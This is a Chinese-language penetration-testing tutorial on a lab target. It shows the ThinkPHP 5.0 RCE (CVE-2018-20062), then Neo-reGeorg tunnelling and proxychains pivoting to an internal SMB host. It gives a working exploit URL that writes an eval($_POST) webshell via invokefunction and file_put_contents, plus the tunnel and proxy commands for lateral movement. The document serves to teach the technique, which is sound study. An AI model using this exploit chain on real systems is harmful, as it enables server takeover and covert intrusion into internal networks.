目录

一、ThinkPHP5.0 远程代码执行漏洞(RCE)

二、reGeorg原理

1、角色

2、工作流程

(1)上传隧道脚本

(2)客户端连接

(3)通信流程

三、ThinkPHP5.0提权

1、信息搜集

2、上传shell

(1)渗透原理

(2)渗透方法

3、连接蚁剑

四、reGeorg横向移动

1、reGeorg生成密钥

(1)基本语法

(2)密钥生成实战

2、上传PHP服务端脚本

3、攻击机连接已上传脚本文件

4、攻击机配置代理

(1)修改 proxychains 配置文件

(2)通过 proxychains 运行命令

5、攻击机横向渗透


本文讲解内网渗透之Thinkphp5提权实战+reGeorg代理横向移动。如下流程图所示,整体分为如下步骤。

  • 漏洞利用阶段:攻击者通过ThinkPHP5的RCE漏洞(CVE-2018-20062invokefunction在目标服务器上植入reGeorg的隧道脚本(tunnel.php),为后续代理通信建立基础。

  • 隧道建立阶段:利用植入的tunnel.php脚本,攻击者通过reGeorg客户端(neoreg.py)与服务端建立加密的HTTP/SOCKS5代理隧道,所有通信流量伪装成正常HTTP请求以绕过检测。

  • 内网渗透阶段:攻击者通过本地代理(如proxychains)将内网探测或攻击流量(如访问192.168.100.33:445)经隧道脚本转发至目标内网,实现隐蔽的横向移动,全程流量加密且难以被防火墙识别。

sequenceDiagram
    participant Attacker as 攻击者(Kali)
    participant TP5_Server as ThinkPHP5服务器<br>(含tunnel.php)
    participant Internal as 内网目标(192.168.100.33:445)

    Note over Attacker: 阶段1:植入reGeorg隧道脚本
    Attacker->>TP5_Server: 发送恶意HTTP请求<br/>(利用RCE写入tunnel.php)
    TP5_Server-->>Attacker: 返回写入成功响应

    Note over Attacker: 阶段2:建立代理隧道
    Attacker->>TP5_Server: 启动加密连接<br/>(neoreg.py -k密码 -u http://server/tunnel.php)
    TP5_Server->>TP5_Server: 启动tunnel.php监听

    Note over Attacker: 阶段3:内网渗透
    Attacker->>TP5_Server: 发送代理请求<br/>(proxychains telnet 192.168.100.33 445)
    TP5_Server->>Internal: 转发请求到内网445端口
    Internal->>TP5_Server: 返回SMB服务响应
    TP5_Server->>Attacker: 加密HTTP响应

一、ThinkPHP5.0 远程代码执行漏洞(RCE)

ThinkPHP5(TP5)是一款广泛使用的PHP开发框架,ThinkPHP5 5.0 远程代码执行漏洞是一个较为严重的安全漏洞(CVE-2018-20062)。

  • 漏洞影响范围:ThinkPHP 5.0.5 - 5.0.23 版本受到影响。
  • 漏洞产生原因:该漏洞主要是由于 ThinkPHP5 框架对控制器名没有进行足够的安全检测。在没有开启强制路由的情况下(默认不开启),攻击者可以构造特定的请求,通过 URL 调用到 ThinkPHP 框架内部的敏感函数。具体来说,框架在解析 URL 时只是简单地将 URL 按分割符分割,没有对控制器名进行严格的过滤,当攻击者控制路由中的控制器名部分,且该控制器名以反斜线 “\” 开始时,就可以直接将其作为类名进行实例化,从而实现对任意类的实例化和方法调用,进而执行恶意代码。
  • 漏洞利用方式:攻击者可以构造类似 “index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars (0)=system&vars (1)()=id” 这样的 URL,通过调用 file_put_contents 等函数将恶意代码写入文件,或者直接调用 system 等函数执行系统命令,从而获取服务器的权限。
  • 漏洞危害:该漏洞危害巨大,攻击者可以利用它远程执行任何代码和命令,例如获取服务器敏感信息、篡改网站内容、植入后门程序等,进而导致服务器被控制,数据泄露,给网站和用户带来严重的安全风险。

二、reGeorg原理

reGeorg 是一个基于 HTTP/HTTPS 的 SOCKS 代理工具,常用于 内网穿透 和 隐蔽隧道 通信。它是 reDuh 的升级版,主要用于绕过防火墙限制,实现内网代理访问。

1、角色

nps采用C/S 架构(客户端 - 服务器架构),包含两个核心程序:

  • 服务端
    • 运行在目标 Web 服务器上的脚本(如 JSP/PHP/ASPX),负责接收客户端请求并代理内网流量。
    • reGeorg 支持多种 Web 语言,常见脚本:
      • tunnel.jsp(Java Web)

      • tunnel.php(PHP)

      • tunnel.aspx(ASP.NET)

      • tunnel.ashx(ASP.NET Handler)

  • 客户端
    • 运行在攻击者机器上的 Python 脚本(reGeorgSocksProxy.py),负责:

      • 建立本地 SOCKS 代理端口。

      • 将本地代理流量封装成 HTTP 请求,发送给服务端。

      • python reGeorgSocksProxy.py -u http://服务端ip/tunnel.php -p 12347(典型命令)

    • 核心功能

      • 用户通过客户端工具指定服务端 URL(如 http://target.com/tunnel.php)和本地监听端口(如 12347

      • 客户端在本地启动 SOCKS 代理服务并监听指定端口(如配置 127.0.0.1:12347 代理)。
      • 本地应用程序(如浏览器、SSH 客户端)通过 SOCKS 代理发送请求,流量被客户端捕获。
      • 客户端将代理流量编码为 HTTP 请求,发送给服务端。
      • 客户端接收服务端的响应,解码后通过本地监听端口返回给应用程序,完成一次数据交互。 

2、工作流程

(1)上传隧道脚本

攻击者需要在目标 Web 服务器上上传一个 隧道脚本(如 tunnel.jsptunnel.php),该脚本负责:

  • 接收来自客户端的 HTTP 请求。

  • 解析请求数据,提取 SOCKS 代理的流量。

  • 将流量转发到内网的目标机器(如数据库、SSH、RDP 等)。

(2)客户端连接

攻击者在本机运行 reGeorgSocksProxy.py,并指定目标 Web 服务器的隧道脚本 URL,例如:

python reGeorgSocksProxy.py -u http://target.com/tunnel.php -p 12347
  • -u:指定隧道脚本的 URL。

  • -p:本地 SOCKS 代理端口(默认 1080)。

(3)通信流程

  • 客户端(攻击者) 发送 HTTP 请求到 Web 服务器的隧道脚本(如 tunnel.php)。

  • 隧道脚本 解析请求,提取 SOCKS 代理数据,并转发到 内网目标(如 192.168.1.100:3389)。

  • 内网目标 返回数据,隧道脚本封装成 HTTP 响应,返回给客户端。

  • 客户端 接收到数据后,通过本地 SOCKS 代理(如 127.0.0.1:12347)访问内网服务。

三、ThinkPHP5.0提权

1、信息搜集

打开目标主机的web网址,如下所示提示为thinkphp5框架,该版本有远程代码执行漏洞。

http://10.33.47.100/

2、上传shell

(1)渗透原理

攻击利用了 ThinkPHP5(TP5)的远程代码执行(RCE)漏洞,具体利用方式如下:

  • 漏洞点think\app/invokefunction 动态方法调用,未严格过滤用户输入。

  • 攻击方式:通过 call_user_func_array 调用 file_put_contents,写入恶意 PHP 文件(WebShell)。

(2)渗透方法

构造恶意 URL 调用 invokefunction 方法,借助 call_user_func_array 动态执行 file_put_contents,在网站根目录写入名为 mooyuan.php 的 WebShell(密码 ljn),攻击者后续可通过 POST 请求发送任意 PHP 代码(如 system('id'))实现远程命令执行,最终完全控制服务器。

http://10.33.47.100/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=mooyuan.php&vars[1][]=<?php eval($_POST[ljn]);?>
参数 作用
s=index/think\app/invokefunction 调用 TP5 的 invokefunction 方法,允许执行任意函数
function=call_user_func_array 调用 call_user_func_array,动态执行函数
vars[0]=file_put_contents 指定执行的函数为 file_put_contents(写入文件)
vars[1][]=mooyuan.php 写入的文件名(mooyuan.php
vars[1][]=<?php eval($_POST[ljn]);?> 写入的内容(一句话木马,密码 ljn

3、连接蚁剑

连接蚁剑,URL为http://10.33.47.100/mooyuan.php,密码为ljn,点击测试连接,如下所示提示连接成功。

四、reGeorg横向移动

1、reGeorg生成密钥

(1)基本语法

Neo-reGeorg(reGeorg 的升级版)的密钥生成命令,用于创建加密隧道所需的密钥文件,增强通信隐蔽性,具体语法如下所示,执行该命令后,脚本会生成带有指定密钥(123456)的服务端隧道文件(如 tunnel.php),后续可将该文件部署到目标 Web 服务器,客户端连接时需使用相同密钥才能建立隧道。(若未指定 -k,则生成随机密钥)。

python neoreg.py generate -k mysecretkey
  • generate:生成密钥文件(默认 key.txt)。

  • -k(可选参数):支持自定义密钥(如 -k mypassword),不指定则自动生成随机密钥。

(2)密钥生成实战

使用python neoreg.py generate -k password命令生成密钥,效果如下所示。

  • python neoreg.py:调用 Python 解释器执行 neoreg.py 脚本(neoreg 是 reGeorg 的增强版工具,功能类似但更灵活)。
  • generate:指定操作模式为 “生成服务端脚本”,用于创建可部署到目标 Web 服务器的隧道脚本(如 PHP、ASPX、JSP 等)。
  • -k password-k 是指定加密密钥的参数,这里设置密钥为 password。该密钥用于客户端与服务端通信时的流量加密,避免隧道数据被明文捕获,增强隐蔽性。

2、上传PHP服务端脚本

由于本文的web服务为php,将生成的tunnel.php上传到服务器中,效果如下所示。

由于tunnel.php被上传到网址的根目录中,故而上传后tunnel.php脚本的web访问路径如下所示。

http://10.33.47.100/tunnel.php

3、攻击机连接已上传脚本文件

在已获取目标 Web 服务器控制权并部署好服务端脚本(tunnel.php)后,在攻击机中执行如下命令建立隧道。

python3 neoreg.py -k password -u http://10.33.47.100/tunnel.php
  • -k password

    • 使用密钥 password 加密客户端与服务端(tunnel.php)之间的通信流量。

    • 若不加密:流量明文传输,易被防火墙/WAF 检测。

    • 密钥一致性:必须与 tunnel.php 中配置的密钥相同,否则无法解密。

  • -u http://10.33.47.100/tunnel.php

    • 指定目标服务器上部署的隧道脚本(需提前上传)。

    • 支持的脚本类型:tunnel.phptunnel.jsptunnel.aspx 等。

    • 脚本作用:接收客户端流量,转发到内网目标(如 RDP/SSH)。

  • -p 12347

    • 在攻击者本地启动一个 SOCKS5 代理,监听 127.0.0.1:12347

    • 用户可通过配置浏览器或工具(如 proxychains)使用该代理

4、攻击机配置代理

(1)修改 proxychains 配置文件

编辑配置文件 /etc/proxychains4.conf,找到 [ProxyList] 部分,添加你的 SOCKS5 代理(例如本地 12347 端口)。

[ProxyList]
socks5  127.0.0.1 12347

(2)通过 proxychains 运行命令

在需要代理的命令前加上 proxychains,例如:

proxychains curl http://内网IP
proxychains nmap -sT -Pn 内网IP
proxychains firefox  # 启动浏览器走代理

5、攻击机横向渗透

使用telnet 命令测试访问内网靶机,如下所示连接成功。

proxychains telnet 192.168.100.33 445
  • proxychains 加载代理配置(默认 /etc/proxychains4.conf

    • 检查 [ProxyList] 部分,找到代理设置(如 socks5 127.0.0.1 1080)。

    • 所有后续流量(telnet)将通过该代理转发。

  • telnet 192.168.100.33 445

    • 尝试与 192.168.100.33:445 建立 TCP 连接。

    • 445 端口 通常运行 Windows SMB 服务(文件共享/远程执行)。

  • 代理转发流量

    • 本地 → 代理服务器(如 127.0.0.1:1080)→ 目标 192.168.100.33:445

    • 如下所示Telnet连接成功,说明代理配置正确,且目标端口开放。

Logo

有“AI”的1024 = 2048,欢迎大家加入2048 AI社区

更多推荐